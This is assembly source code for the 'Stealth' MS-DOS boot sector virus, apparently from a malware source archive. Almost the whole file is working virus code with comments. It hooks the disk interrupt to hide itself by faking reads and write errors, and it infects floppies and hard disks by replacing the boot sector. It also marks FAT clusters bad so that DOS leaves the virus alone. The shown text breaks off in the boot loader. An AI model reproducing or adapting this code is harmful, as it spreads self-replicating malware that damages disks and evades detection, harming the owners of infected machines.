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MalwareSourceCode/MSDOS/S-Index/Virus.MSDOS.Unknown.stealth.asm

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2022-08-21 09:07:57 +00:00
;The Stealth Virus is a boot sector virus which remains resident in memory
;after boot so it can infect disks. It hides itself on the disk and includes
;special anti-detection interrupt traps so that it is very difficult to
;locate. This is a very infective and crafty virus.
COMSEG SEGMENT PARA
ASSUME CS:COMSEG,DS:COMSEG,ES:COMSEG,SS:COMSEG
ORG 100H
START:
jmp BOOT_START
;*******************************************************************************
;* BIOS DATA AREA *
;*******************************************************************************
ORG 413H
MEMSIZE DW 640 ;size of memory installed, in KB
;*******************************************************************************
;* VIRUS CODE STARTS HERE *
;*******************************************************************************
ORG 7000H
STEALTH: ;A label for the beginning of the virus
;*******************************************************************************
;Format data consists of Track #, Head #, Sector # and Sector size code (2=512b)
;for every sector on the track. This is put at the very start of the virus so
;that when sectors are formatted, we will not run into a DMA boundary, which
;would cause the format to fail. This is a false error, but one that happens
;with some BIOS's, so we avoid it by putting this data first.
FMT_12M: ;Format data for Track 80, Head 1 on a 1.2 Meg diskette,
DB 80,1,1,2, 80,1,2,2, 80,1,3,2, 80,1,4,2, 80,1,5,2, 80,1,6,2
FMT_360: ;Format data for Track 40, Head 1 on a 360K diskette
DB 40,1,1,2, 40,1,2,2, 40,1,3,2, 40,1,4,2, 40,1,5,2, 40,1,6,2
;*******************************************************************************
;* INTERRUPT 13H HANDLER *
;*******************************************************************************
OLD_13H DD ? ;Old interrupt 13H vector goes here
INT_13H:
sti
cmp ah,2 ;we want to intercept reads
jz READ_FUNCTION
cmp ah,3 ;and writes to all disks
jz WRITE_FUNCTION
I13R: jmp DWORD PTR cs:[OLD_13H]
;*******************************************************************************
;This section of code handles all attempts to access the Disk BIOS Function 2,
;(Read). It checks for several key situations where it must jump into action.
;they are:
; 1) If an attempt is made to read the boot sector, it must be processed
; through READ_BOOT, so an infected boot sector is never seen. Instead,
; the original boot sector is read.
; 2) If any of the infected sectors, Track 0, Head 0, Sector 2-7 on
; drive C are read, they are processed by READ_HARD, so the virus
; code is never seen on the hard drive.
; 3) If an attempt is made to read Track 1, Head 0, Sector 1 on the
; floppy, this routine checks to see if the floppy has already been
; infected, and if not, it goes ahead and infects it.
READ_FUNCTION: ;Disk Read Function Handler
cmp dh,0 ;is it head 0?
jnz I13R ;nope, let BIOS handle it
cmp ch,1 ;is it track 1?
jz RF0 ;yes, go do special processing
cmp ch,0 ;is it track 0?
jnz I13R ;no, let BIOS handle it
cmp cl,1 ;track 0, is it sector 1
jz READ_BOOT ;yes, go handle boot sector read
cmp dl,80H ;no, is it hard drive c:?
jz RF1 ;yes, go check further
jmp I13R ;else let BIOS handle it
RF0: cmp dl,80H ;is it hard disk?
jnc I13R ;yes, let BIOS handle read
cmp cl,1 ;no, floppy, is it sector 1?
jnz I13R ;no, let BIOS handle it
call CHECK_DISK ;is floppy already infected?
jz I13R ;yes so let BIOS handle it
call INFECT_FLOPPY ;no, go infect the diskette
jmp SHORT I13R ;and then let BIOS do the read
RF1: cmp cl,8 ;sector < 8?
jnc I13R ;nope, let BIOS handle it
jmp READ_HARD ;yes, divert read on the C drive
;*******************************************************************************
;This section of code handles all attempts to access the Disk BIOS Function 3,
;(Write). It checks for two key situations where it must jump into action. They
;are:
; 1) If an attempt is made to write the boot sector, it must be processed
; through WRITE_BOOT, so an infected boot sector is never overwritten.
; instead, the write is redirected to where the original boot sector is
; hidden.
; 2) If any of the infected sectors, Track 0, Head 0, Sector 2-7 on
; drive C are written, they are processed by WRITE_HARD, so the virus
; code is never overwritten.
WRITE_FUNCTION: ;BIOS Disk Write Function
cmp dh,0 ;is it head 0?
jnz I13R ;nope, let BIOS handle it
cmp ch,0 ;is it track 0?
jnz I13R ;nope, let BIOS handle it
cmp cl,1 ;is it sector 1
jnz WF1 ;nope, check for hard drive
jmp WRITE_BOOT ;yes, go handle boot sector read
WF1: cmp dl,80H ;is it the hard drive c: ?
jnz I13R ;no, another hard drive
cmp cl,8 ;sector < 8?
jnc I13R ;nope, let BIOS handle it
jmp WRITE_HARD ;else take care of writing to C:
;*******************************************************************************
;This section of code handles reading the boot sector. There are three
;possibilities: 1) The disk is not infected, in which case the read should be
;passed directly to BIOS, 2) The disk is infected and only one sector is
;requested, in which case this routine figures out where the original boot
;sector is and reads it, and 3) The disk is infected and more than one sector
;is requested, in which case this routine breaks the read up into two calls to
;the ROM BIOS, one to fetch the original boot sector, and another to fetch the
;additional sectors being read. One of the complexities in this last case is
;that the routine must return the registers set up as if only one read had
;been performed.
; To determine if the disk is infected, the routine reads the real boot sector
;into SCRATCHBUF and calls IS_VBS. If that returns affirmative (z set), then
;this routine goes to get the original boot sector, etc., otherwise it calls ROM
;BIOS and allows a second read to take place to get the boot sector into the
;requested buffer at es:bx.
READ_BOOT:
push ax ;save registers
push bx
push cx
push dx
push ds
push es
push bp
push cs ;set ds=es=cs
pop es
push cs
pop ds
mov bp,sp ;and bp=sp
RB001: mov al,dl
call GET_BOOT_SEC ;read the real boot sector
jnc RB01 ;ok, go on
call GET_BOOT_SEC ;do it again to make sure
jnc RB01 ;ok, go on
jmp RB_GOON ;error, let BIOS return err code
RB01: call IS_VBS ;is it the viral boot sector?
jz RB02 ;yes, jump
jmp RB_GOON ;no, let ROM BIOS read sector
RB02:; mov bx,OFFSET SCRATCHBUF + (OFFSET DR_FLAG - OFFSET BOOT_START)
mov bx,OFFSET SB_DR_FLAG ;required instead of ^ for a86
mov al,BYTE PTR [bx] ;get disk type of disk being
cmp al,80H ;read, and make an index of it
jnz RB1
mov al,4
RB1: mov bl,3 ;to look up location of boot sec
mul bl
add ax,OFFSET BOOT_SECTOR_LOCATION ;ax=@BOOT_SECTOR_LOCATION table
mov bx,ax
mov ch,[bx] ;get track of orig boot sector
mov dh,[bx+1] ;get head of orig boot sector
mov cl,[bx+2] ;get sector of orig boot sector
mov dl,ss:[bp+6] ;get drive from original spec
mov bx,ss:[bp+10] ;get read buffer offset
mov ax,ss:[bp+2] ;and segment
mov es,ax ;from original specification
mov ax,201H ;prepare to read 1 sector
pushf
call DWORD PTR [OLD_13H] ;do BIOS int 13H
mov al,ss:[bp+12] ;see if original request
cmp al,1 ;was for more than one sector
jz RB_EXIT ;no, go exit
READ_1NEXT: ;more than 1 sec requested, so
pop bp ;read the rest as a second call
pop es ;to BIOS
pop ds
pop dx ;first restore these registers
pop cx
pop bx
pop ax
add bx,512 ;prepare to call BIOS for
push ax ;balance of read
dec al ;get registers straight for it
inc cl
cmp dl,80H ;is it the hard drive?
jnz RB15 ;nope, go handle floppy
push bx ;handle an infected hard drive
push cx ;by faking read on extra sectors
push dx ;and returning a block of 0's
push si
push di
push ds
push bp
push es
pop ds ;ds=es
mov BYTE PTR [bx],0 ;set first byte in buffer = 0
mov si,bx
mov di,bx
inc di
mov ah,0 ;ax=number of sectors to read
mov bx,512 ;bytes per sector
mul bx ;# of bytes to read in dx:ax<64K
mov cx,ax
dec cx ;number of bytes to move in cx
rep movsb ;fill buffer with 0's
clc ;clear c, fake read successful
pushf ;then restore everyting properly
pop ax ;first set flag register
mov ss:[bp+20],ax ;as stored on the stack
pop bp ;and pop all registers
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
mov ah,0
dec cl
sub bx,512
iret ;and get out
RB15: ;read next sectors on floppy
pushf ;call BIOS to
call DWORD PTR cs:[OLD_13H] ;read the rest (must use cs)
push ax
push bp
mov bp,sp
pushf ;use c flag from BIOS call
pop ax ;to set c flag on the stack
mov ss:[bp+10],ax
jc RB2 ;if error, return ah from 2nd rd
sub bx,512 ;else restore registers so
dec cl ;it looks as if only one read
pop bp ;was performed
pop ax
pop ax ;and exit with ah=0 to indicate
mov ah,0 ;successful read
iret
RB2: pop bp ;error on 2nd read
pop ax ;so clean up stack
add sp,2 ;and get out
iret
RB_EXIT: ;exit from single sector read
mov ax,ss:[bp+18] ;set the c flag on the stack
push ax ;to indicate successful read
popf
clc
pushf
pop ax
mov ss:[bp+18],ax
pop bp ;restore all registers
pop es
pop ds
pop dx
pop cx
pop bx
pop ax
mov ah,0
iret ;and get out
RB_GOON: ;This passes control to BIOS
pop bp ;for uninfected disks
pop es ;just restore all registers to
pop ds ;their original values
pop dx
pop cx
pop bx
pop ax
jmp I13R ;and go jump to BIOS
;*******************************************************************************
;This table identifies where the original boot sector is located for each
;of the various disk types. It is used by READ_BOOT and WRITE_BOOT to redirect
;boot sector reads and writes.
BOOT_SECTOR_LOCATION:
DB 40,1,6 ;Track, head, sector, 360K drive
DB 80,1,6 ;1.2M drive
DB 79,1,9 ;720K drive
DB 79,1,18 ;1.44M drive
DB 0,0,7 ;Hard drive
;*******************************************************************************
;This routine handles writing the boot sector for all disks. It checks to see
;if the disk has been infected, and if not, allows BIOS to handle the write.
;If the disk is infected, this routine redirects the write to put the boot
;sector being written in the reserved area for the original boot sector. It
;must also handle the writing of multiple sectors properly, just as READ_BOOT
;did.
WRITE_BOOT:
push ax ;save everything we might change
push bx
push cx
push dx
push ds
push es
push bp
mov bp,sp
push cs ;ds=es=cs
pop ds
push cs
pop es
mov al,dl
call GET_BOOT_SEC ;read the real boot sector
jnc WB01
call GET_BOOT_SEC ;do it again if first failed
jnc WB01
jmp WB_GOON ;error on read, let BIOS take it
WB01: call IS_VBS ;else, is disk infected?
jz WB02 ;yes
jmp WB_GOON ;no, let ROM BIOS write sector
WB02:; mov bx,OFFSET SCRATCHBUF + (OFFSET DR_FLAG - OFFSET BOOT_START)
mov bx,OFFSET SB_DR_FLAG ;required instead of ^ for a86
mov al,BYTE PTR [bx]
cmp al,80H ;infected, so redirect the write
jnz WB1
mov al,4 ;make an index of the drive type
WB1: mov bl,3
mul bl
add ax,OFFSET BOOT_SECTOR_LOCATION ;ax=@table entry
mov bx,ax
mov ch,[bx] ;get the location of original
mov dh,[bx+1] ;boot sector on disk
mov cl,[bx+2] ;prepare for the write
mov dl,ss:[bp+6]
mov bx,ss:[bp+10]
mov ax,ss:[bp+2]
mov es,ax
mov ax,301H
pushf
call DWORD PTR [OLD_13H] ;and do it
sti
mov dl,ss:[bp+6]
cmp dl,80H ;was write going to hard drive?
jnz WB_15 ;no
mov BYTE PTR [DR_FLAG],80H ;yes, update partition info
push si
push di
mov di,OFFSET PART ;just move it from sec we just
mov si,ss:[bp+10] ;wrote into the viral boot sec
add si,OFFSET PART
sub si,OFFSET BOOT_START
push es
pop ds
push cs
pop es ;switch ds and es around
mov cx,20
rep movsw ;and do the move
push cs
pop ds
mov ax,301H
mov bx,OFFSET BOOT_START
mov cx,1 ;Track 0, Sector 1
mov dx,80H ;drive 80H, Head 0
pushf ;go write updated viral boot sec
call DWORD PTR [OLD_13H] ;with new partition info
pop di ;clean up
pop si
WB_15: mov al,ss:[bp+12]
cmp al,1 ;was write more than 1 sector?
jz WB_EXIT ;if not, then exit
WRITE_1NEXT: ;more than 1 sector
mov dl,ss:[bp+6] ;see if it's the hard drive
cmp dl,80H
jz WB_EXIT ;if so, ignore rest of the write
pop bp ;floppy drive, go write the rest
pop es ;as a second call to BIOS
pop ds
pop dx
pop cx ;restore all registers
pop bx
pop ax
add bx,512 ;and modify a few to
push ax ;drop writing the first sector
dec al
inc cl
pushf
call DWORD PTR cs:[OLD_13H] ;go write the rest
sti
push ax
push bp
mov bp,sp
pushf ;use c flag from call
pop ax ;to set c flag on the stack
mov ss:[bp+10],ax
jc WB2 ;an error
;so exit with ah from 2nd int 13
sub bx,512
dec cl
pop bp
pop ax
pop ax ;else exit with ah=0
mov ah,0 ;to indicate success
iret
WB2: pop bp ;exit with ah from 2nd
pop ax ;interrupt
add sp,2
iret
WB_EXIT: ;exit after 1st write
mov ax,ss:[bp+18] ;set carry on stack to indicate
push ax ;a successful write operation
popf
clc
pushf
pop ax
mov ss:[bp+18],ax
pop bp ;restore all registers and exit
pop es
pop ds
pop dx
pop cx
pop bx
pop ax
mov ah,0
iret
WB_GOON: ;pass control to ROM BIOS
pop bp ;just restore all registers
pop es
pop ds
pop dx
pop cx
pop bx
pop ax
jmp I13R ;and go do it
;*******************************************************************************
;Read hard disk sectors on Track 0, Head 0, Sec > 1. If the disk is infected,
;then instead of reading the true data there, return a block of 0's, since
;0 is the data stored in a freshly formatted but unused sector. This will
;fake the caller out and keep him from knowing that the virus is hiding there.
;If the disk is not infected, return the true data stored in those sectors.
READ_HARD:
call CHECK_DISK ;see if disk is infected
jnz RWH_EX ;no, let BIOS handle the read
push ax ;else save registers
push bx
push cx
push dx
push si
push di
push ds
push bp
mov bp,sp
mov BYTE PTR es:[bx],0 ;zero the first byte in the blk
push es
pop ds
mov si,bx ;set up es:di and ds:si
mov di,bx ;for a transfer
inc di
mov ah,0 ;ax=number of sectors to read
mov bx,512 ;bytes per sector
mul bx ;number of bytes to read in ax
mov cx,ax
dec cx ;number of bytes to move
rep movsb ;do fake read of all 0's
mov ax,ss:[bp+20] ;now set c flag
push ax ;to indicate succesful read
popf
clc
pushf
pop ax
mov ss:[bp+20],ax
pop bp ;restore everything and exit
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
mov ah,0 ;set to indicate successful read
iret
RWH_EX: jmp I13R ;pass control to BIOS
;*******************************************************************************
;Handle writes to hard disk Track 0, Head 0, 1<Sec<8. We must stop the write if
;the disk is infected. Instead, fake the return of an error by setting carry
;and returning ah=4 (sector not found).
WRITE_HARD:
call CHECK_DISK ;see if the disk is infected
jnz RWH_EX ;no, let BIOS handle it all
push bp ;yes, infected, so . . .
push ax
mov bp,sp
mov ax,ss:[bp+8] ;get flags off of stack
push ax
popf ;put them in current flags
stc ;set the carry flag
pushf
pop ax
mov ss:[bp+8],ax ;and put flags back on stack
pop ax
mov ah,4 ;set up sector not found error
pop bp
iret ;and get out of ISR
;*******************************************************************************
;See if disk dl is infected already. If so, return with Z set. This
;does not assume that registers have been saved, and saves/restores everything
;but the flags.
CHECK_DISK:
push ax ;save everything
push bx
push cx
push dx
push ds
push es
push cs
pop ds
push cs
pop es
mov al,dl
call GET_BOOT_SEC ;read the boot sector
jnc CD1
xor al,al ;act as if infected
jmp SHORT CD2 ;in the event of an error
CD1: call IS_VBS ;see if viral boot sec (set z)
CD2: pop es ;restore everything
pop ds ;except the z flag
pop dx
pop cx
pop bx
pop ax
ret
;*******************************************************************************
;This routine determines from the boot sector parameters what kind of floppy
;disk is in the drive being accessed, and calls the proper infection routine
;to infect the drive. It has no safeguards to prevent infecting an already
;infected disk. the routine CHECK_DISK must be called first to make sure you
;want to infect before you go and do it. This restores all registers to their
;initial state.
INFECT_FLOPPY:
pushf ;save everything
push si
push di
push ax
push bx
push cx
push dx
push ds
push es
push cs
pop es
push cs
pop ds
sti
mov bx,OFFSET SCRATCHBUF + 13H ;@ of sec cnt in boot sector
mov bx,[bx] ;get sector count for this disk
mov al,dl
cmp bx,720 ;is it 360K? (720 sectors)
jnz IF_1 ;no, try another possibility
call INFECT_360K ;yes, infect it
jmp SHORT IF_R ;and get out
IF_1: cmp bx,2400 ;is it 1.2M? (2400 sectors)
jnz IF_2 ;no, try another possibility
call INFECT_12M ;yes, infect it
jmp SHORT IF_R ;and get out
IF_2: cmp bx,1440 ;is it 720K 3 1/2"? (1440 secs)
jnz IF_3 ;no, try another possibility
call INFECT_720K ;yes, infect it
jmp SHORT IF_R ;and get out
IF_3: cmp bx,2880 ;is it 1.44M 3 1/2"? (2880 secs)
jnz IF_R ;no - don't infect this disk
call INFECT_144M ;yes - infect it
IF_R: pop es ;restore everyting and return
pop ds
pop dx
pop cx
pop bx
pop ax
pop di
pop si
popf
ret
;*******************************************************************************
;Infect a 360 Kilobyte drive. This is done by formatting Track 40, Head 0,
;Sectors 1 to 6, putting the present boot sector in Sector 6 with the virus
;code in sectors 1 through 5, and then replacing the boot sector on the disk
;with the viral boot sector.
INFECT_360K:
call FORMAT_360 ;format the required sectors
jc INF360_EXIT
mov bx,OFFSET SCRATCHBUF ;and go write current boot sec
push ax ;at Track 40, Head 1, Sector 6
mov dl,al
mov dh,1 ;head 1
mov cx,2806H ;track 40, sector 6
mov ax,0301H ;BIOS write, for 1 sector
pushf
call DWORD PTR [OLD_13H] ;(int 13H)
pop ax
jc INF360_EXIT
mov di,OFFSET BOOT_DATA
; mov si,OFFSET SCRATCHBUF + (OFFSET BOOT_DATA - OFFSET BOOT_START)
mov si,OFFSET SB_BOOT_DATA ;required instead of ^ for A86
mov cx,32H / 2 ;copy boot sector disk info over
rep movsw ;to new boot sector
mov al,BYTE PTR [SCRATCHBUF + 1FDH] ;copy drive letter there as well
mov BYTE PTR [BOOT_START + 1FDH],al
mov BYTE PTR [DR_FLAG],0 ;set proper drive type
push ax ;write new boot sector to disk
mov bx,OFFSET BOOT_START ;buffer for the new boot sector
call PUT_BOOT_SEC ;go write it to disk
pop ax
jc INF360_EXIT
mov bx,OFFSET STEALTH ;buffer for 5 secs of stealth
mov dl,al ;drive to write to
mov dh,1 ;head 1
mov cx,2801H ;track 40, sector 1
mov ax,0305H ;write 5 sectors
pushf
call DWORD PTR [OLD_13H] ;(int 13H)
INF360_EXIT:
ret ;all done
;This routine formats Track 40, Head 1 so we can infect a 360k diskette.
FORMAT_360:
push ax ;save drive number in al
mov dl,al ;dl=drive no.
mov dh,1 ;head 0
mov cx,2801H ;track 40, start at sector 1
mov ax,0506H ;format 6 sectors
mov bx,OFFSET FMT_360 ;format info for this sector
pushf
call DWORD PTR [OLD_13H] ;(int 13H)
pop ax
ret
;*******************************************************************************
;Infect 1.2 megabyte Floppy Disk Drive AL with this virus. This is essentially
;the same as the 360K case, except we format Track 80 instead of track 40.
INFECT_12M:
call FORMAT_12M ;format the required sectors
jc INF12M_EXIT
mov bx,OFFSET SCRATCHBUF ;and go boot sector at
push ax
mov dl,al
mov dh,1 ;head 1
mov cx,5006H ;track 80, sector 6
mov ax,0301H ;BIOS write, for 1 sector
pushf
call DWORD PTR [OLD_13H] ;(int 13H)
pop ax
jc INF12M_EXIT
mov di,OFFSET BOOT_DATA
; mov si,OFFSET SCRATCHBUF + (OFFSET BOOT_DATA - OFFSET BOOT_START)
mov si,OFFSET SB_BOOT_DATA ;required instead of ^ for A86
mov cx,32H / 2 ;copy boot sector disk info over
rep movsw ;to new (viral) boot sector
mov al,BYTE PTR [SCRATCHBUF + 1FDH] ;copy drive letter there as well
mov BYTE PTR [BOOT_START + 1FDH],al
mov BYTE PTR [DR_FLAG],1 ;set proper diskette type
push ax ;and write viral boot sec to disk
mov bx,OFFSET BOOT_START ;buffer for viral boot sector
call PUT_BOOT_SEC ;go write it to disk
pop ax
jc INF12M_EXIT
mov bx,OFFSET STEALTH ;buffer for 5 secs of stealth
mov dl,al ;drive to write to
mov dh,1 ;head 1
mov cx,5001H ;track 80, sector 1
mov ax,0305H ;write 5 sectors
pushf
call DWORD PTR [OLD_13H] ;(int 13H)
INF12M_EXIT:
ret ;all done
;Format Track 80, Head 1 so we can infect a 1.2 Meg diskette.
FORMAT_12M:
push ax
mov dl,al ;set drive number
mov dh,1 ;head 1
mov cx,5001H ;track 80, start at sector 1
mov ax,0506H ;format 6 sectors
mov bx,OFFSET FMT_12M ;format info for this sector
pushf
call DWORD PTR [OLD_13H] ;(int 13H)
pop ax
ret
;*******************************************************************************
;Infect a 3 1/2" 720K drive. This process is a little different than for 5 1/4"
;drives. The virus goes in an existing data area on the disk, so no formatting
;is required. Instead, we 1) Read the boot sector and put it at Track 79, Head 1
;sector 9, 2) Put the five sectors of stealth routines at Track 79, Head 1,
;sector 4-8, 3) Put the viral boot sector at Track 0, Head 0, Sector 1, and
;4) Mark the diskette's FAT to indicate that the last three clusters are bad,
;so that DOS will not attempt to overwrite the virus code.
INFECT_720K:
mov bx,OFFSET SCRATCHBUF ;go write boot sec at
push ax
mov dl,al
mov dh,1 ;head 1
mov cx,4F09H ;track 79, sector 9
mov ax,0301H ;BIOS write, for 1 sector
pushf
call DWORD PTR [OLD_13H] ;(int 13H)
pop ax
jc INF720K_EXIT ;exit on error
push ax
mov di,OFFSET BOOT_DATA
; mov si,OFFSET SCRATCHBUF + (OFFSET BOOT_DATA - OFFSET BOOT_START)
mov si,OFFSET SB_BOOT_DATA ;required instead of ^ for A86
mov cx,32H / 2 ;copy boot sector disk info over
rep movsw ;to new boot sector
mov al,BYTE PTR [SCRATCHBUF + 1FDH] ;copy drive letter there as well
mov BYTE PTR [BOOT_START + 1FDH],al
mov BYTE PTR [DR_FLAG],2 ;set proper diskette type
pop ax
push ax ;write new boot sector to disk
mov bx,OFFSET BOOT_START
call PUT_BOOT_SEC ;go write it
pop ax
jc INF720K_EXIT
mov bx,OFFSET STEALTH ;buffer for 5 sectors of stealth
mov dl,al ;drive to write to
mov dh,1 ;head 1
mov cx,4F04H ;track 79, sector 4
mov ax,0305H ;write 5 sectors
pushf
call DWORD PTR [OLD_13H] ;(int 13H)
jc INF720K_EXIT
mov bx,OFFSET SCRATCHBUF ;now modify the FAT
mov ax,0201H ;first read 1 sector
mov cx,4 ;track 0, sector 4, head 0
mov dh,0
pushf
call DWORD PTR [OLD_13H] ;(int 13H)
jc INF720K_EXIT
mov di,OFFSET SCRATCHBUF + 44 ;modify the FAT in RAM
mov ax,7FF7H ;marking the last 3 clusters
stosw ;as bad
mov ax,0F7FFH
stosw
mov ax,0FFFH
stosw
mov ax,0301H ;now write the FAT back to disk
mov cx,4 ;at track 0, sector 4, head 0
pushf
call DWORD PTR [OLD_13H]
jc INF720K_EXIT
mov ax,0301H ;do second FAT too
mov cx,7 ;at track 0, sector 7, head 0
pushf
call DWORD PTR [OLD_13H]
INF720K_EXIT:
ret ;all done
;*******************************************************************************
;This routine infects a 1.44 megabyte 3 1/2" diskette. It is essentially the
;same as infecting a 720K diskette, except that the virus is placed in sectors
;13-17 on Track 79, Head 0, and the original boot sector is placed in Sector 18.
INFECT_144M:
mov bx,OFFSET SCRATCHBUF ;go write boot sec at
push ax
mov dl,al
mov dh,1 ;head 1
mov cx,4F12H ;track 79, sector 18
mov ax,0301H ;BIOS write, for 1 sector
pushf
call DWORD PTR [OLD_13H] ;(int 13H)
pop ax
jc INF144M_EXIT
push ax
mov di,OFFSET BOOT_DATA
; mov si,OFFSET SCRATCHBUF + (OFFSET BOOT_DATA - OFFSET BOOT_START)
mov si,OFFSET SB_BOOT_DATA ;required instead of ^ for A86
mov cx,32H / 2 ;copy boot sector disk info over
rep movsw ;to new boot sector
mov al,BYTE PTR [SCRATCHBUF + 1FDH] ;copy drive letter there as well
mov BYTE PTR [BOOT_START + 1FDH],al
mov BYTE PTR [DR_FLAG],3 ;set proper diskette type
pop ax
push ax ;and write new boot sector to disk
mov bx,OFFSET BOOT_START
call PUT_BOOT_SEC ;go write it to disk
pop ax
jc INF144M_EXIT
mov bx,OFFSET STEALTH ;buffer for 5 sectors of stealth
mov dl,al ;drive to write to
mov dh,1 ;head 1
mov cx,4F0DH ;track 79, sector 13
mov ax,0305H ;write 5 sectors
pushf
call DWORD PTR [OLD_13H] ;(int 13H)
mov bx,OFFSET SCRATCHBUF ;now modify the FAT
mov ax,0201H ;first read 1 sector
mov cx,0AH ;track 0, sector 10, head 0
mov dh,0
pushf
call DWORD PTR [OLD_13H] ;(int 13H)
jc INF144M_EXIT
mov di,OFFSET SCRATCHBUF + 0A8H ;modify the FAT in RAM
mov ax,es:[di]
and ax,000FH
add ax,0FF70H
stosw
mov ax,07FF7H ;marking the last 6 clusters
stosw ;as bad
mov ax,0F7FFH
stosw
mov ax,0FF7FH
stosw
mov ax,0FF7H
stosw
mov ax,0301H ;now write the FAT back to disk
mov cx,0AH ;at track 0, sector 10, head 0
pushf
call DWORD PTR [OLD_13H]
jc INF144M_EXIT
mov ax,0301H ;do second FAT too
mov cx,1 ;at track 0, sector 1, head 1
mov dh,1
pushf
call DWORD PTR [OLD_13H]
INF144M_EXIT:
ret ;all done
;*******************************************************************************
;Infect Hard Disk Drive AL with this virus. This involves the following steps:
;A) Read the present boot sector. B) Copy it to Track 0, Head 0, Sector 7.
;C) Copy the disk parameter info into the viral boot sector in memory. D) Copy
;the viral boot sector to Track 0, Head 0, Sector 1. E) Copy the STEALTH
;routines to Track 0, Head 0, Sector 2, 5 sectors total.
INFECT_HARD:
mov al,80H ;set drive type flag to hard disk
mov BYTE PTR [DR_FLAG],al ;cause that's where it's going
call GET_BOOT_SEC ;read the present boot sector
mov bx,OFFSET SCRATCHBUF ;and go write it at
push ax
mov dl,al
mov dh,0 ;head 0
mov cx,0007H ;track 0, sector 7
mov ax,0301H ;BIOS write, for 1 sector
pushf
call DWORD PTR [OLD_13H] ;(int 13H)
pop ax
push ax
mov di,OFFSET BOOT_DATA
; mov si,OFFSET SCRATCHBUF + (OFFSET BOOT_DATA - OFFSET BOOT_START)
mov si,OFFSET SB_BOOT_DATA ;required instead of ^ for A86
mov cx,32H / 2 ;copy boot sector disk info over
rep movsw ;to new boot sector
mov di,OFFSET BOOT_START + 200H - 42H
mov si,OFFSET SCRATCHBUF + 200H - 42H
mov cx,21H ;copy partition table
rep movsw ;to new boot sector too!
pop ax
push ax ;and write viral boot sector
mov bx,OFFSET BOOT_START
call PUT_BOOT_SEC
pop ax
mov bx,OFFSET STEALTH ;buffer for 5 sectors of stealth
mov dl,al ;drive to write to
mov dh,0 ;head 0
mov cx,0002H ;track 0, sector 2
mov ax,0305H ;write 5 sectors
pushf
call DWORD PTR [OLD_13H] ;(int 13H)
ret
;*******************************************************************************
;This routine determines if a hard drive C: exists, and returns NZ if it does,
;Z if it does not.
IS_HARD_THERE:
push ds
xor ax,ax
mov ds,ax
mov bx,475H ;Get hard disk count from bios
mov al,[bx] ;put it in al
pop ds
cmp al,0 ;and see if al=0 (no drives)
ret
;*******************************************************************************
;Read the boot sector on the drive AL into SCRATCHBUF. This routine must
;prserve AL!
GET_BOOT_SEC:
push ax
mov bx,OFFSET SCRATCHBUF ;buffer for the boot sector
mov dl,al ;this is the drive to read from
mov dh,0 ;head 0
mov ch,0 ;track 0
mov cl,1 ;sector 1
mov al,1 ;read 1 sector
mov ah,2 ;BIOS read function
pushf
call DWORD PTR [OLD_13H] ;(int 13H)
pop ax
ret
;*******************************************************************************
;This routine writes the data at es:bx to the drive in al at Track 0,
;Head 0, Sector 1 for 1 sector, making that data the new boot sector.
PUT_BOOT_SEC:
mov dl,al ;this is the drive to write to
mov dh,0 ;head 0
mov ch,0 ;track 0
mov cl,1 ;sector 1
mov al,1 ;read 1 sector
mov ah,3 ;BIOS write function
pushf
call DWORD PTR [OLD_13H] ;(int 13H)
ret
;*******************************************************************************
;Determine whether the boot sector in SCRATCHBUF is the viral boot sector.
;Returns Z if it is, NZ if not. The first 30 bytes of code, starting at BOOT,
;are checked to see if they are identical. If so, it must be the viral boot
;sector. It is assumed that es and ds are properly set to this segment when
;this is called.
IS_VBS:
push si ;save these
push di
cld
mov di,OFFSET BOOT ;set up for a compare
; mov si,OFFSET SCRATCHBUF + (OFFSET BOOT - OFFSET BOOT_START)
mov si,OFFSET SB_BOOT ;required instead of ^ for A86
mov cx,15
repz cmpsw ;compare 30 bytes
pop di ;restore these
pop si
ret ;and return with z properly set
;*******************************************************************************
;* A SCRATCH PAD BUFFER FOR DISK READS AND WRITES *
;*******************************************************************************
ORG 7A00H
SCRATCHBUF: ;a total of 512 bytes
DB 3 dup (0)
SB_BOOT_DATA: ;with references to correspond
DB 32H dup (0) ;to various areas in the boot
SB_DR_FLAG: ;sector at 7C00
DB 0 ;these are only needed by A86
SB_BOOT: ;tasm and masm will let you
DB 458 dup (0) ;just do "db 512 dup (0)"
;*******************************************************************************
;* THIS IS THE REPLACEMENT (VIRAL) BOOT SECTOR *
;*******************************************************************************
ORG 7C00H ;Starting location for boot sec
BOOT_START:
jmp SHORT BOOT ;jump over data area
db 090H ;an extra byte for near jump
BOOT_DATA:
db 32H dup (?) ;data area and default dbt
;(copied from orig boot sector)
DR_FLAG:DB 0 ;Drive type flag, 0=360K Floppy
; 1=1.2M Floppy
; 2=720K Floppy
; 3=1.4M Floppy
; 80H=Hard Disk
;The boot sector code starts here
BOOT:
cli ;interrupts off
xor ax,ax
mov ss,ax
mov ds,ax
mov es,ax ;set up segment registers
mov sp,OFFSET BOOT_START ;and stack pointer
sti
mov ax,[MEMSIZE] ;get size of memory available
mov cl,6 ;on this system, in Kilobytes
shl ax,cl ;convert KBytes into a segment
sub ax,7E0H ;subtract enough so this code
mov es,ax ;will have the right offset to
sub [MEMSIZE],4 ;go memory resident in high ram
GO_RELOC:
mov si,OFFSET BOOT_START ;set up ds:si and es:di in order
mov di,si ;to relocate this code
mov cx,256 ;to high memory
rep movsw ;and go move this sector
push es
mov ax,OFFSET RELOC
push ax ;push new far @RELOC onto stack
retf ;and go there with retf
RELOC: ;now we're in high memory
push es ;so let's install the virus
pop ds
mov bx,OFFSET STEALTH ;set up buffer to read virus
mov al,BYTE PTR [DR_FLAG] ;drive number
cmp al,0 ;Load from proper drive type
jz LOAD_360
cmp al,1
jz LOAD_12M
cmp al,2
jz LOAD_720
cmp al,3
jz LOAD_14M ;if none of the above,
;then it's a hard disk
LOAD_HARD: ;load virus from hard disk
mov dx,80H ;hard drive 80H, head 0,
mov ch,0 ;track 0,
mov cl,2 ;start at sector 2
jmp SHORT LOAD1
LOAD_360: ;load virus from 360 K floppy
mov ch,40 ;track 40
mov cl,1 ;start at sector 1
jmp SHORT LOAD
LOAD_12M: ;load virus from 1.2 Meg floppy
mov ch,80 ;track 80
mov cl,1 ;start at sector 1
jmp SHORT LOAD
LOAD_720: ;load virus from 720K floppy
mov ch,79 ;track 79
mov cl,4 ;start at sector 4
jmp SHORT LOAD ;go do it
LOAD_14M: ;load from 1.44 Meg floppy
mov ch,79 ;track 79
mov cl,13 ;start at sector 13
; jmp SHORT LOAD ;go do it
